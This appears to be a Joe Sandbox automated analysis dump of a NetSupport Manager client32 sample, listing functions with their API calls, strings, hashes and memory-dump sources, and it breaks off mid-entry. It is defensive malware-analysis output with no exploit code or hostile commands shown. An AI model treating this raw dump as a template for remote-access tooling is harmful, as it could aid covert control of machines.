Instruction Fuzzy Hash: 3FE19171A14219DFDB14DFD4C890BDDB3B9EF49304F1045AAE90D9B280DB719A89CBA1

Function 11139ED0 Relevance: 54.7, APIs: 20, Strings: 11, Instructions: 474
windowthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 11139F07
IsWindow.USER32(00170222), ref: 11139F65
IsWindowVisible.USER32(00170222), ref: 11139F73
IsWindowVisible.USER32(00170222), ref: 11139FAB
GetForegroundWindow.USER32 ref: 11139FC6
EnableWindow.USER32(00170222,00000000), ref: 11139FE0
EnableWindow.USER32(00170222,00000001), ref: 11139FFC
SetForegroundWindow.USER32(00000000), ref: 1113A00B
FindWindowA.USER32(Shell_TrayWnd,00000000), ref: 1113A049
IsWindowVisible.USER32(00000000), ref: 1113A058
IsWindowVisible.USER32(00170222), ref: 1113A088
IsIconic.USER32(00170222), ref: 1113A095
GetForegroundWindow.USER32 ref: 1113A09F

Part of subcall function 11132120: ShowWindow.USER32(00170222,00000000,?,11139EA2,00000007,?,?,?,?,?,00000000), ref: 11132144

Part of subcall function 11132120: ShowWindow.USER32(00170222,11139EA2,?,11139EA2,00000007,?,?,?,?,?,00000000), ref: 11132156

SetForegroundWindow.USER32(00000000), ref: 1113A0C5
EnableWindow.USER32(00170222,00000001), ref: 1113A0D4
GetLastError.KERNEL32 ref: 1113A193
GetLastError.KERNEL32 ref: 1113A20B
GetTickCount.KERNEL32 ref: 1113A4B8
GetTickCount.KERNEL32 ref: 1113A4D9

Part of subcall function 110261A0: LoadLibraryA.KERNEL32(Wtsapi32.dll,00000000,1113A522), ref: 110261A8

FreeLibrary.KERNEL32(?,00000000,000000FF,00000000,00000001,00000000,00000001,00000000,0000000A,?,00000000), ref: 1113A574

Strings

Client, xrefs: 11139F99, 1113A11D, 1113A47B
HideWhenIdle, xrefs: 11139F94
disableRunplugin, xrefs: 1113A118
Shell_TrayWnd, xrefs: 1113A044
MainWnd = %08x, visible %d, valid %d, xrefs: 11139F7D
Audio, xrefs: 1113A295
Reactivate main window, xrefs: 11139FB9
File <%s> doesnt exist, e=%d, xrefs: 1113A197, 1113A20F
NeedsReinstall, xrefs: 1113A476
ShowNeedsReinstall in 15, user=%s, xrefs: 1113A4AB
HookDirectSound, xrefs: 1113A290

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ForegroundVisible$Enable$CountErrorLastLibraryShowTick$CurrentFindFreeIconicLoadThread
String ID: Audio$Client$File <%s> doesnt exist, e=%d$HideWhenIdle$HookDirectSound$MainWnd = %08x, visible %d, valid %d$NeedsReinstall$Reactivate main window$Shell_TrayWnd$ShowNeedsReinstall in 15, user=%s$disableRunplugin
API String ID: 2511061093-2542869446
Opcode ID: e14826bbac3d3f7ee8e0918d09fc5866bd4c7377ec69909a935bcd746c51be63
Instruction ID: 9ececd2581658abecd2b9d282a3ee437682ea2591524154b6e9732358788741a
Opcode Fuzzy Hash: e14826bbac3d3f7ee8e0918d09fc5866bd4c7377ec69909a935bcd746c51be63
Instruction Fuzzy Hash: FC023675E11226DFE716DFA4DD94BAAFB65BBC131EF140138E4219728CEB30A844CB91

Function 11134830 Relevance: 51.0, APIs: 16, Strings: 13, Instructions: 278
libraryloadertimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

GetLocalTime.KERNEL32(?,_debug,CheckLeaks,00000001,00000000,EFF676FC), ref: 1113489E
LoadLibraryA.KERNEL32(psapi.dll), ref: 111348F6
GetCurrentProcess.KERNEL32 ref: 11134937
GetProcAddress.KERNEL32(?,GetProcessHandleCount), ref: 11134961
GetProcessHandleCount.KERNEL32(00000000,?), ref: 11134972
SetLastError.KERNEL32(00000078), ref: 11134978
GetProcAddress.KERNEL32(?,GetGuiResources), ref: 11134994
GetProcAddress.KERNEL32(?,GetGuiResources), ref: 111349BC
SetLastError.KERNEL32(00000078), ref: 111349D9
SetLastError.KERNEL32(00000078), ref: 111349E6
GetProcAddress.KERNEL32(?,GetProcessMemoryInfo), ref: 111349F8
K32GetProcessMemoryInfo.KERNEL32(?,?,00000028), ref: 11134A0B
SetLastError.KERNEL32(00000078), ref: 11134A11
FreeLibrary.KERNEL32(?), ref: 11134B7B
FreeLibrary.KERNEL32(?), ref: 11134B88
FreeLibrary.KERNEL32(?), ref: 11134B92

Strings

RestartGdiObj, xrefs: 11134B1E
GetProcessHandleCount, xrefs: 1113495B
RestartMB, xrefs: 11134ACC
Used handles=%d, gdiObj=%d, userObj=%d, mem=%u kB, xrefs: 11134A83
RestartUserObj, xrefs: 11134B45
GetGuiResources, xrefs: 1113498E, 111349B6
_debug, xrefs: 11134882
GetProcessMemoryInfo, xrefs: 111349F2
Client, xrefs: 11134AD1, 11134AFC, 11134B23, 11134B4A
RestartHandles, xrefs: 11134AF7
CheckLeaks, xrefs: 1113487D
psapi.dll, xrefs: 111348D3
Date=%04d-%02d-%02d, xrefs: 111348BB

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastLibraryProc$FreeProcess$CountCurrentHandleInfoLoadLocalMemoryTime__wcstoi64
String ID: CheckLeaks$Client$Date=%04d-%02d-%02d$GetGuiResources$GetProcessHandleCount$GetProcessMemoryInfo$RestartGdiObj$RestartHandles$RestartMB$RestartUserObj$Used handles=%d, gdiObj=%d, userObj=%d, mem=%u kB$_debug$psapi.dll
API String ID: 263027137-1001504656
Opcode ID: e9bc53f18f3aff5df15c67e08978246e2bd3215a060d2d5924f045e3fecf3fd3
Instruction ID: db8711c19b503e7e72fae74a2cc3466c9a493194fb08fa6cc11ddefe45185306
Opcode Fuzzy Hash: e9bc53f18f3aff5df15c67e08978246e2bd3215a060d2d5924f045e3fecf3fd3
Instruction Fuzzy Hash: 27B1AE78E402699FDB10CFE9CD80BADFBB5EB88319F104429E419E7648DB749884CB55

Function 6EEF91F0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 97sleepnetworkCOMMON

Download Yara Rule

APIs

#16.WSOCK32(00000000,009686C7,6EF03361,00000000,00000000,6EF03361,00000007), ref: 6EEF924C
WSAGetLastError.WSOCK32(00000000,009686C7,6EF03361,00000000,00000000,6EF03361,00000007), ref: 6EEF925B
GetTickCount.KERNEL32 ref: 6EEF9274
Sleep.KERNEL32(00000001,00000000,009686C7,6EF03361,00000000,00000000,6EF03361,00000007), ref: 6EEF92A8
GetTickCount.KERNEL32 ref: 6EEF92B0
Sleep.KERNEL32(00000014), ref: 6EEF92BC

Strings

hbuf->buflen - hbuf->datalen >= min_bytes_to_read, xrefs: 6EEF922B
ReadSocket - Would block, xrefs: 6EEF928A
ReadSocket - Error %d reading response, xrefs: 6EEF92F7
ReadSocket - Connection has been closed by peer, xrefs: 6EEF92E0
*RecvTimeout, xrefs: 6EEF927B
e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c, xrefs: 6EEF9226

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: CountSleepTick$ErrorLast
String ID: *RecvTimeout$ReadSocket - Connection has been closed by peer$ReadSocket - Error %d reading response$ReadSocket - Would block$e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c$hbuf->buflen - hbuf->datalen >= min_bytes_to_read
API String ID: 2495545493-2497412063
Opcode ID: 67b7e1b85a07a734c3b6a9abcf5299598ed9429308a6b5b89bd9a1742b28dbef
Instruction ID: a00dc7df9088a4e4eb63b60f3fa708e1a8357133cf2aeed3582989af9dfa14d4
Opcode Fuzzy Hash: 67b7e1b85a07a734c3b6a9abcf5299598ed9429308a6b5b89bd9a1742b28dbef
Instruction Fuzzy Hash: E331C275E10208EFEB10DFF8E884BCEB7B8EF45314F204869E948DB340E77299458691

Function 6EF03130 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 178timethreadCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,?,910C354D,2EC57596,910C34B3,FFFFFFFF,00000000), ref: 6EF031E2
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00002000,6EF2ECB0), ref: 6EF031EC
GetSystemTime.KERNEL32(?,2EC57596,910C34B3,FFFFFFFF,00000000), ref: 6EF0322A
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00002000,6EF2ECB0), ref: 6EF03234
EnterCriticalSection.KERNEL32(6EF3B898,?,910C354D), ref: 6EF032BE
LeaveCriticalSection.KERNEL32(6EF3B898,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00002000), ref: 6EF032D3
GetCurrentThreadId.KERNEL32 ref: 6EF0334D

Part of subcall function 6EF0BA20: __strdup.LIBCMT ref: 6EF0BA3A

Part of subcall function 6EF0BB00: _free.LIBCMT ref: 6EF0BB2D

Strings

1.1, xrefs: 6EF03240, 6EF0324A
ACK=1, xrefs: 6EF03312
INFO=1, xrefs: 6EF03304
CMD=POLL, xrefs: 6EF032F4

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: Time$System$CriticalFileSection$CurrentEnterLeaveThread__strdup_free
String ID: 1.1$ACK=1$CMD=POLL$INFO=1
API String ID: 1510130979-3441452530
Opcode ID: 060018e84d15ab3a751f0b7b8a6ac70073d7b9c9f3a3d0e43fbeb4f0c82fb2b8
Instruction ID: 8c4a49204a56be232f6c525e312f36c6308882600db8acc3e1d5d5a4f5ae9d5d
Opcode Fuzzy Hash: 060018e84d15ab3a751f0b7b8a6ac70073d7b9c9f3a3d0e43fbeb4f0c82fb2b8
Instruction Fuzzy Hash: 44616272910618AFCB14DFE4D8A4FEEB7B9FF49304F10491EE416A7280EB74A504DBA1

Function 11145C70 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 175registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetVersionExA.KERNEL32(111F1EF0,75A78400), ref: 11145CA0
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 11145CDF
_memset.LIBCMT ref: 11145CFD

Part of subcall function 11143BD0: RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1111025B,75A78400,?,?,11145D2F,00000000,CSDVersion,00000000,00000000,?), ref: 11143BF0

_strncpy.LIBCMT ref: 11145DCA

Part of subcall function 111648ED: __isdigit_l.LIBCMT ref: 11164912

RegCloseKey.KERNEL32(00000000), ref: 11145E66

Strings

Service Pack, xrefs: 11145EAD
CurrentMajorVersionNumber, xrefs: 11145DF8
CSDVersion, xrefs: 11145D1A
CurrentMinorVersionNumber, xrefs: 11145E30
CurrentVersion, xrefs: 11145D44
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 11145CCB

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValueVersion__isdigit_l_memset_strncpy
String ID: CSDVersion$CurrentMajorVersionNumber$CurrentMinorVersionNumber$CurrentVersion$SOFTWARE\Microsoft\Windows NT\CurrentVersion$Service Pack
API String ID: 3299820421-2117887902
Opcode ID: 929fb5d8b7f52e0b88e664298c84f703fc5a1542ba09115f26204fab96234c05
Instruction ID: 72e9b589e9c81c7730d33f5d85faf9c496c6ad46d8e7039c924549f2bc0033ac
Opcode Fuzzy Hash: 929fb5d8b7f52e0b88e664298c84f703fc5a1542ba09115f26204fab96234c05
Instruction Fuzzy Hash: A4510871E0023BABDB21CF61CD41FDEF7B9AB01B0CF1040A9E91D66945E7B16A49CB91

Function 11116880 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 182librarycomloaderCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 111168D5
CoCreateInstance.OLE32(111C1AAC,00000000,00000001,111C1ABC,00000000,?,00000000,Client,silent,00000000,00000000,?,1104C49F), ref: 111168EF
LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000000,Client,silent,00000000,00000000), ref: 11116914
GetProcAddress.KERNEL32(00000000,SHGetSettings), ref: 11116926
SHGetSettings.SHELL32(?,00000200,?,00000000,Client,silent,00000000,00000000), ref: 11116939
FreeLibrary.KERNEL32(00000000,?,00000000,Client,silent,00000000,00000000), ref: 11116945
CoUninitialize.OLE32(00000000), ref: 111169E1

Strings

SHELL32.DLL, xrefs: 11116905
SHGetSettings, xrefs: 11116920

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressCreateFreeInitializeInstanceLoadProcSettingsUninitialize
String ID: SHELL32.DLL$SHGetSettings
API String ID: 4195908086-2348320231
Opcode ID: 7f4dfa4f84449ddd9057b5d12e5b7092daec7eaad03784577530b65d584c16e3
Instruction ID: 86b6e15c13bd198e2be1b4906c6dc8e983a2f790f9ea6f3073e45f268e972f68
Opcode Fuzzy Hash: 7f4dfa4f84449ddd9057b5d12e5b7092daec7eaad03784577530b65d584c16e3
Instruction Fuzzy Hash: 81515175A00219AFDB00DFA5C9C0EAFFBB9EF48304F114969E915AB244E771A941CB61

Function 11073680 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 314COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110737B0
_memset.LIBCMT ref: 11073929

Strings

NBCTL32.DLL, xrefs: 11073865
serial_no, xrefs: 1107376C
_License, xrefs: 11073771

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memset
String ID: NBCTL32.DLL$_License$serial_no
API String ID: 2102423945-35127696
Opcode ID: 19c1bfdd6460f6a249e12eea9a2a20caa138c9ba89d8b6a2a5b87a7590f55589
Instruction ID: b632ae2d06a9e035363f4f75e6ccaf6c516ded967162c2d69bbdd490d26a7599
Opcode Fuzzy Hash: 19c1bfdd6460f6a249e12eea9a2a20caa138c9ba89d8b6a2a5b87a7590f55589
Instruction Fuzzy Hash: A8B18075E04209ABE714CF98DC81FEEB7F5FF88304F158169E9499B285DB71A901CB90

Function 11031780 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(1102EA50,?,00000000), ref: 110317A4

Strings

NSMWClass, xrefs: 110317AF
NSMWClass, xrefs: 110317C3
Client32, xrefs: 11031784

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID: Client32$NSMWClass$NSMWClass
API String ID: 3192549508-611217420
Opcode ID: a586b2f275b23202da33eeeabda63bfb0fcf210cd7da2103abc854b9584f9786
Instruction ID: 804cb5d527221f69a992b866d17bc63a828f9d1c02720c4f1a032ef46c9a5584
Opcode Fuzzy Hash: a586b2f275b23202da33eeeabda63bfb0fcf210cd7da2103abc854b9584f9786
Instruction Fuzzy Hash: C1F04F7890222ADFC30ADF95C995A59B7F4BB8870CB108574D43547208EB3179048B99

Function 1109ED30 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,11030346,?,00000000), ref: 1109ED68
GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000001,00000001), ref: 1109ED84
AllocateAndInitializeSid.ADVAPI32(?,00000001,00000012,012322F0,012322F0,012322F0,012322F0,012322F0,012322F0,012322F0,111EFB64,?,00000001,00000001), ref: 1109EDB0
EqualSid.ADVAPI32(?,012322F0,?,00000001,00000001), ref: 1109EDC3

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InformationToken$AllocateEqualInitialize
String ID:
API String ID: 1878589025-0
Opcode ID: 4b61cf4af713a4b82f6fb566942020194785977790fe51c73b26fe6fb189ff5a
Instruction ID: f2a8bc8f74b1de347afb3cb87d534257ea472b44b3b43d4353705adbfce15ac3
Opcode Fuzzy Hash: 4b61cf4af713a4b82f6fb566942020194785977790fe51c73b26fe6fb189ff5a
Instruction Fuzzy Hash: DF213031B0122EABEB10DA98DD95BFEB7B8EB44704F014169E929DB180E671AD10D791

Function 1109D860 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(000F01FF,?,11030703,00000000,00000000,00080000,EFF676FC,00080000,00000000,?), ref: 1109D88D
OpenProcessToken.ADVAPI32(00000000), ref: 1109D894
LookupPrivilegeValueA.ADVAPI32(00000000,00000000,?), ref: 1109D8A5
AdjustTokenPrivileges.KERNELBASE(00000000), ref: 1109D8C9

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ProcessToken$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 2349140579-0
Opcode ID: b1ebb33d0097c2b27741ff61215e6ff8e180ff04b55af2e4c570c349c4c69e7c
Instruction ID: 81f12928af7d2c66371a758247fa27ee71cd04b85772abc6619dfc746b0a2552
